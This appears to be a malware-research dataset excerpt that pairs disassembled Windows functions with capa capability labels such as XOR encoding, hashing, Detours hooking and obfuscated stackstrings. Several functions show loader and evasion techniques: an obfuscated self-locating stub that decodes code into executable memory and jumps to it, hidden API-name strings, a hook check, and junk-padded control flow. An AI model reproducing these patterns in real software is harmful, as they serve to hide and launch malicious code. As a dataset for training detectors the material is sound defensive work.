joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40633c
pop dword [ebp - 0xc]
mov eax, 0x40633c
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x5c695473
sub dword [ebp - 0x1c], 0xe170f28
mov dword [ebp - 0x18], 0x9375bbef
add dword [ebp - 0x18], 0x9ebd9056
mov dword [ebp - 0x14], 0x5f0afaa8
add dword [ebp - 0x14], 0xed414986
mov dword [ebp - 0x10], 0xa6f32b68
sub dword [ebp - 0x10], 0xa6f32b68
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x39e34f68
add eax, 0xc65d20f8
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xc253e32a
add dword [ebp - 0x1c], 0xb21e862c
mov dword [ebp - 0x18], 0xda4e527c
sub dword [ebp - 0x18], 0x98e1f107
mov dword [ebp - 0x14], 0xf9634e35
add dword [ebp - 0x14], 0x6a0c1e37
mov dword [ebp - 0x10], 0x8fb62f20
add dword [ebp - 0x10], 0x7049d0e0
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xa2ea0ad1
sub eax, 0xa2a999d1
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x35b2d
push 0
call eax
mov ecx, 0x84e50207
add ecx, 0x7b1b424b
mov edx, eax
mov edi, 0xeb9f371c
add edi, 0x14a1c8e4
add edi, dword [ebp - 0xc]
mov esi, 0xd34a3434
sub esi, 0x3eeab1ae
xor dword [ebp - 8], edi
mov ebx, dword [edi]
xor dword [ebp - 4], 0x91316d44
sub ebx, esi
add dword [ebp - 4], ecx
mov dword [edx], ebx
add dword [ebp - 4], esi
add edx, 0xb1ce699f
add edx, 0x4e319665
add edi, 0x24bde823
sub edi, 0x24bde81f
loop 0x406459
add eax, 0xf0c492
add eax, 0xff103f89
mov ebx, eax
add eax, 0x427fb267
sub eax, 0x427fb262
mov ecx, 0x6c0cc1c8
add ecx, 0x94333e38
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401590
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5015e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov cl, 0x64
mov al, 0x6c
push esi
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xa], cl
mov byte [ebp - 0x23], cl
mov cl, 0x69
push edi
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc], al
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 0x1b], al
lea eax, [ebp - 0x24]
mov dl, 0x6e
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x1a], cl
push eax
lea ecx, [ebp - 0x10]
mov bl, 0x74
push ecx
mov byte [ebp - 0x10], dl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 7], 0
mov byte [ebp - 0x24], 0x4c
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x49
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x19], 0x7a
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x54
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], 0x6b
mov byte [ebp - 0x12], 0
call fcn.0046dc90
mov ebx, eax
xor esi, esi
lea edi, [esi + ebx]
push edi
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
call fcn.00403af0
mov edx, dword [ebp - 0x28]
mov cl, byte [edx]
cmp cl, 0xe8
je 0x401661
cmp cl, 0xe9
je 0x401661
add esi, eax
cmp esi, 0x1000
jb 0x401622
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045599e
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 1]
mov ecx, dword [ebp - 4]
lea eax, [eax + edi + 5]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045599e
mov esp, ebp
pop ebp
ret

Function at 0x4029d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x5015e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x65
mov cl, 0x74
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x23], al
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x17], al
lea eax, [ebp - 0x24]
mov byte [ebp - 0x22], cl
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x18], cl
mov dl, 0x6e
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x76
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x49
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], 0x66
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0
call fcn.0079bf52
Function at 0x41f4d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
push eax
mov ebx, esi
mov dword [edi], 0
call fcn.0041f460
mov ebx, eax
test ebx, ebx
jne 0x41f501
mov dword [edi], 6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 0x20]
mov edx, dword [esi + 0x78]
push 0
push ecx
push edx
call fcn.00457696
mov eax, dword [esi + 0x78]
mov ecx, dword [ebx + 0x28]
mov edx, dword [0x50ba30]
push eax
push 1
push ecx
push edx
call fcn.00457bc6
mov ecx, dword [0x50ba34]
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [0x50ba30]
mov dword [ebp - 4], 0
mov edx, dword [ebx + 0x28]
push ecx
push edx
push eax
call fcn.004c5ea0
add esp, 0x30
test eax, eax
jne 0x41f640
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebx + 0x24]
jne 0x41f640
mov eax, dword [0x50ba34]
movzx esi, word [eax]
movzx edi, word [eax + 2]
xor eax, eax
push 0x2c
push eax
lea edx, [ebp - 0x5c]
push edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call fcn.0045a3d0
add esp, 0xc
push 0
push 0
lea edx, [ebp - 8]
push edx
mov eax, 0x18
mov word [ebp - 0x22], ax
push 0
mov ecx, 1
lea eax, [ebp - 0x5c]
mov word [ebp - 0x24], cx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], edi
push eax
mov ecx, 0xa
lea esi, [ebp - 0x30]
lea edi, [ebp - 0x5c]
mov dword [ebp - 0x30], 0x28
mov dword [ebp - 0x20], 0
push 0
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0
call fcn.00738a6d
ret
mov dword [edi], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4338b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
or eax, 0xffffffff
xor ecx, ecx
test edx, edx
jbe 0x4338df
push ebx
push edi
jmp 0x4338c0
movzx edi, byte [ecx + esi]
mov ebx, eax
and ebx, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x5039b0]
inc ecx
cmp ecx, edx
jb 0x4338c0
pop edi
pop ebx
not eax
ret
Function at 0x435920
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x435927
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x435a04
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4f31c0]
inc ecx
sub edx, 8
sub esi, 1
jne 0x435940
pop edi
test edx, edx
je 0x435a2b
jmp 0x435a10
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x4f31c0]
inc ecx
sub edx, 1
jne 0x435a10
not eax
pop esi
ret

Function at 0x435a30
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4f31c0]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x4f31c0]
mov dword [edx + 8], ecx
ret

Function at 0x435a80
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x4f31c0]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x4f31c0]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret
Function at 0x438660
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
mov edi, dword [ebp + 0xc]
mov eax, ebx
je 0x43874b
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x438697
cmp dword [esi + 0x40], edi
jae 0x438697
push eax
call fcn.004389d1
add esp, 4
mov dword [esi + 0x3c], 0
cmp dword [esi + 0x3c], 0
jne 0x4386af
lea eax, [edi + edi]
push eax
call fcn.004389dc
add esp, 4
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
mov ecx, dword [esi + 0x3c]
push edi
push ebx
push ecx
call fcn.004603b0
add esp, 0xc
xor ebx, ebx
test edi, edi
jbe 0x438748
mov edx, dword [esi + 0x3c]
mov cl, byte [ebx + edx]
mov edi, dword [esi + 0x30]
mov byte [ebp + 8], cl
movsx ecx, cl
xor ecx, edi
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4f19e0]
mov dword [ebp - 4], ecx
mov eax, dword [esi + 0x38]
shr edi, 8
xor dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
mov dword [esi + 0x30], ecx
movzx ecx, cl
add ecx, dword [esi + 0x34]
mov edx, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 0x34], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x4f19e0]
and edx, 0xfffd
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x3c]
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
shr eax, 8
xor al, byte [ebp + 8]
inc ebx
mov byte [ebx + ecx - 1], al
cmp ebx, dword [ebp + 0xc]
jb 0x4386c7
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x20]
test edx, edx
je 0x43878a
mov ecx, dword [esi + 0x24]
lea ebx, [ecx + edi]
cmp ebx, dword [esi + 0x28]
jb 0x43876f
pop edi
mov dword [esi + 0x14], 0x30000
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
push eax
add ecx, edx
push ecx
call fcn.004603b0
add esp, 0xc
add dword [esi + 0x24], edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x4387ac
push 0
lea edx, [ebp + 0xc]
push edx
push edi
push eax
push ecx
call dword [0x4ca2ec]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
mov dword [esi + 0x14], 0x1000000
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x46ece0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x46ecf5
xor eax, eax
jmp 0x46ed6a
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x10000
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x46ed22
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x38d
jae 0x46ed65
mov edx, dword [ebp - 0x10]
imul edx, edx, 0x48
mov eax, dword [ebp - 0xc]
cmp dword [eax + edx + 0x40], 0
je 0x46ed63
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 4]
jb 0x46ed5f
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 8]
jb 0x46ed63
xor eax, eax
jmp 0x46ed6a
jmp 0x46ed19
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x46f7c0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0046e040
add esp, 0xc
mov dword [ebp - 0x10], 0
cmp dword [0x509564], 0
jne 0x46f7fd
cmp dword [0x509560], 0
je 0x46f7fd
mov eax, dword [0x509560]
mov dword [0x509564], eax
cmp dword [0x509564], 0
je 0x46f87a
mov ecx, dword [0x509564]
cmp dword [ecx + 8], 0
je 0x46f87a
mov edx, dword [0x509564]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 8]
jb 0x46f87a
mov ecx, dword [0x509564]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x46f87a
mov eax, dword [0x509564]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 8]
jb 0x46f849
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jbe 0x46f850
xor eax, eax
jmp 0x46f99d
mov ecx, dword [0x509564]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0045a3d0
add esp, 0xc
mov eax, dword [ebp - 0x10]
jmp 0x46f99d
mov edx, dword [0x509560]
mov dword [0x509564], edx
jmp 0x46f896
mov eax, dword [0x509564]
mov ecx, dword [eax + 4]
mov dword [0x509564], ecx
cmp dword [0x509564], 0
je 0x46f8d6
cmp dword [0x509564], 0
je 0x46f8d4
mov edx, dword [0x509564]
cmp dword [edx + 8], 0
je 0x46f8d4
mov eax, dword [0x509564]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jb 0x46f8d4
mov edx, dword [0x509564]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x46f8d4
jmp 0x46f82e
jmp 0x46f888
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0046e120
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x46f99b
mov eax, dword [ebp - 4]
mov dword [0x509564], eax
mov ecx, dword [0x509564]
mov dword [ecx], 0x52727464
mov edx, dword [0x509564]
mov dword [edx + 8], 0
mov eax, dword [0x509564]
mov ecx, dword [0x509560]
mov dword [eax + 4], ecx
mov edx, dword [0x509564]
mov dword [0x509560], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x509564]
add eax, 0x48
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x38c
jmp 0x46f967
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 1
jle 0x46f98b
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x48
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x48
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
jmp 0x46f95e
mov eax, dword [0x509564]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x46f82e
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x474980
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004746f0
Function at 0x474eb0
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x5c
push 0
push esi
call fcn.0045a3d0
add esp, 0xc
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
mov eax, 1
pop esi
ret

Function at 0x475120
Capabilities:
Hash data using sha1

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x60
push 0
push esi
call fcn.0045a3d0
add esp, 0xc
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
mov dword [esi + 0x10], 0xc3d2e1f0
mov eax, 1
pop esi
ret
Function at 0x4b2d30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
cmp ecx, dword [edi + 4]
jge 0x4b2d49
mov esi, edi
mov edi, eax
jmp 0x4b2d4b
mov esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esp + 0x10]
cmp eax, dword [ebx + 8]
jg 0x4b2d5b
mov eax, ebx
jmp 0x4b2d65
push eax
push ebx
call fcn.00475e50
add esp, 8
test eax, eax
jne 0x4b2d6d
pop edi
pop esi
pop ebx
ret
xor eax, eax
cmp dword [edi + 4], eax
jle 0x4b2d89
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [edi + 4]
jl 0x4b2d74
cmp eax, dword [esi + 4]
jge 0x4b2da0
mov edi, edi
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [esi + 4]
jl 0x4b2d90
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
test eax, eax
jle 0x4b2dc1
mov ecx, dword [ebx]
lea ecx, [ecx + eax*4 - 4]
mov edx, dword [ecx]
sub ecx, 4
test edx, edx
jne 0x4b2dbe
dec eax
test eax, eax
jg 0x4b2db0
mov dword [ebx + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x4be520
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp + 0x14], edi
xor eax, dword [edi]
xor ebx, dword [edi + 4]
xor ecx, dword [edi + 8]
xor edx, dword [edi + 0xc]
mov esi, dword [edi + 0xf0]
lea esi, [esi + esi - 2]
lea esi, [edi + esi*8]
mov dword [esp + 0x18], esi
mov esi, eax
and esi, 0xff
mov esi, dword [ebp + esi*8]
movzx edi, bh
xor esi, dword [ebp + edi*8 + 3]
mov edi, ecx
shr edi, 0x10
and edi, 0xff
xor esi, dword [ebp + edi*8 + 2]
mov edi, edx
shr edi, 0x18
xor esi, dword [ebp + edi*8 + 1]
mov dword [esp + 4], esi
mov esi, ebx
and esi, 0xff
shr ebx, 0x10
mov esi, dword [ebp + esi*8]
movzx edi, ch
xor esi, dword [ebp + edi*8 + 3]
mov edi, edx
shr edi, 0x10
and edi, 0xff
xor esi, dword [ebp + edi*8 + 2]
mov edi, eax
shr edi, 0x18
xor esi, dword [ebp + edi*8 + 1]
mov dword [esp + 8], esi
mov esi, ecx
and esi, 0xff
shr ecx, 0x18
mov esi, dword [ebp + esi*8]
movzx edi, dh
xor esi, dword [ebp + edi*8 + 3]
mov edi, eax
shr edi, 0x10
and edx, 0xff
and edi, 0xff
xor esi, dword [ebp + edi*8 + 2]
movzx edi, bh
xor esi, dword [ebp + edi*8 + 1]
mov edi, dword [esp + 0x14]
mov edx, dword [ebp + edx*8]
movzx eax, ah
xor edx, dword [ebp + eax*8 + 3]
mov eax, dword [esp + 4]
and ebx, 0xff
xor edx, dword [ebp + ebx*8 + 2]
mov ebx, dword [esp + 8]
xor edx, dword [ebp + ecx*8 + 1]
mov ecx, esi
add edi, 0x10
xor eax, dword [edi]
xor ebx, dword [edi + 4]
xor ecx, dword [edi + 8]
xor edx, dword [edi + 0xc]
cmp edi, dword [esp + 0x18]
mov dword [esp + 0x14], edi
jb 0x4be540
mov esi, eax
and esi, 0xff
mov esi, dword [ebp + esi*8 + 2]
and esi, 0xff
movzx edi, bh
mov edi, dword [ebp + edi*8]
and edi, 0xff00
xor esi, edi
mov edi, ecx
shr edi, 0x10
and edi, 0xff
mov edi, dword [ebp + edi*8]
and edi, 0xff0000
xor esi, edi
mov edi, edx
shr edi, 0x18
mov edi, dword [ebp + edi*8 + 2]
and edi, 0xff000000
xor esi, edi
mov dword [esp + 4], esi
mov esi, ebx
and esi, 0xff
shr ebx, 0x10
mov esi, dword [ebp + esi*8 + 2]
and esi, 0xff
movzx edi, ch
mov edi, dword [ebp + edi*8]
and edi, 0xff00
xor esi, edi
mov edi, edx
shr edi, 0x10
and edi, 0xff
mov edi, dword [ebp + edi*8]
and edi, 0xff0000
xor esi, edi
mov edi, eax
shr edi, 0x18
mov edi, dword [ebp + edi*8 + 2]
and edi, 0xff000000
xor esi, edi
mov dword [esp + 8], esi
mov esi, ecx
and esi, 0xff
shr ecx, 0x18
mov esi, dword [ebp + esi*8 + 2]
and esi, 0xff
movzx edi, dh
mov edi, dword [ebp + edi*8]
and edi, 0xff00
xor esi, edi
mov edi, eax
shr edi, 0x10
and edx, 0xff
and edi, 0xff
mov edi, dword [ebp + edi*8]
and edi, 0xff0000
xor esi, edi
movzx edi, bh
mov edi, dword [ebp + edi*8 + 2]
and edi, 0xff000000
xor esi, edi
mov edi, dword [esp + 0x14]
and edx, 0xff
mov edx, dword [ebp + edx*8 + 2]
and edx, 0xff
movzx eax, ah
mov eax, dword [ebp + eax*8]
and eax, 0xff00
xor edx, eax
mov eax, dword [esp + 4]
and ebx, 0xff
mov ebx, dword [ebp + ebx*8]
and ebx, 0xff0000
xor edx, ebx
mov ebx, dword [esp + 8]
mov ecx, dword [ebp + ecx*8 + 2]
and ecx, 0xff000000
xor edx, ecx
mov ecx, esi
add edi, 0x10
xor eax, dword [edi]
xor ebx, dword [edi + 4]
xor ecx, dword [edi + 8]
xor edx, dword [edi + 0xc]
ret
Function at 0x4c0ab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ecx, dword [esp + 0x1c]
cmp ecx, 0
je 0x4c0c6d
call fcn.004c0ac6
Function at 0x7100e0
Capabilities:
Parse pe header

Disassembly:
mov byte [ebp - 0x1c], 0
jmp 0x695b37
mov byte [ebp - 0x11], 0x6c
jmp 0x6fa9ee
mov byte [ebp - 0xf], 0
jmp 0x755661
mov byte [ebp - 0x17], 0x74
jmp 0x779804
mov bl, 0x65
not si
movsx esi, cx
push ecx
movzx esi, bx
movsx esi, bx
mov esi, eax
jmp 0x7d7ae0
call edi
test esi, esi
jmp 0x8461eb
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
jmp 0x7f0415
push esi
jmp 0x7f7173
mov dword [ebp - 4], eax
push ebx
jmp 0x6af950
test eax, eax
je 0x8461f1
call 0x62a6ef
lea edx, [ebp - 0xdc]
jmp 0x7a3b69
mov byte [ebp - 0x10], 0x6c
jmp 0x5c5883
push ebp
sar ah, 0x5e
lahf
mov ebp, esp
test ax, 0x4e01
shld eax, edi, 0xb5
sub esp, 0x148
mov eax, dword [0x5015e8]
xor eax, ebp
jmp 0x6c1b1f
mov byte [ebp - 0x12], 0x64
jmp 0x57e26c
call edi
lea ecx, [ebp - 0x28]
jmp 0x66339e
call fcn.0045599e
mov esp, ebp
not bp
pop ebp
ret
mov byte [ebp - 0x14], 0x6c
jmp 0x77fa4b
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
jmp 0x75b6e6
mov byte [ebp - 0x13], 0x2e
jmp 0x722efd
push edx
jmp 0x422253
mov byte [ebp - 0x27], bl
jmp 0x80c472
mov byte [ebp - 0x28], 0x6b
jmp 0x7bba3e
mov byte [ebp - 0x18], 0x6e
jmp 0x649730
mov byte [ebp - 0x20], 0x2e
jmp 0x80a102
push edi
call 0x7ccbbf
lea eax, [ebp - 0x18]
push eax
jmp 0x7e9db1
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], bl
jmp 0x6acf4d
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x6c
jmp 0x5175dc
mov byte [ebp - 0x26], 0x72
jmp 0x802644
jne 0x6c97e6
pop edi
stc
pop esi
rol bl, 0x82
sub eax, eax
add cx, si
bswap ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
jmp 0x758a2a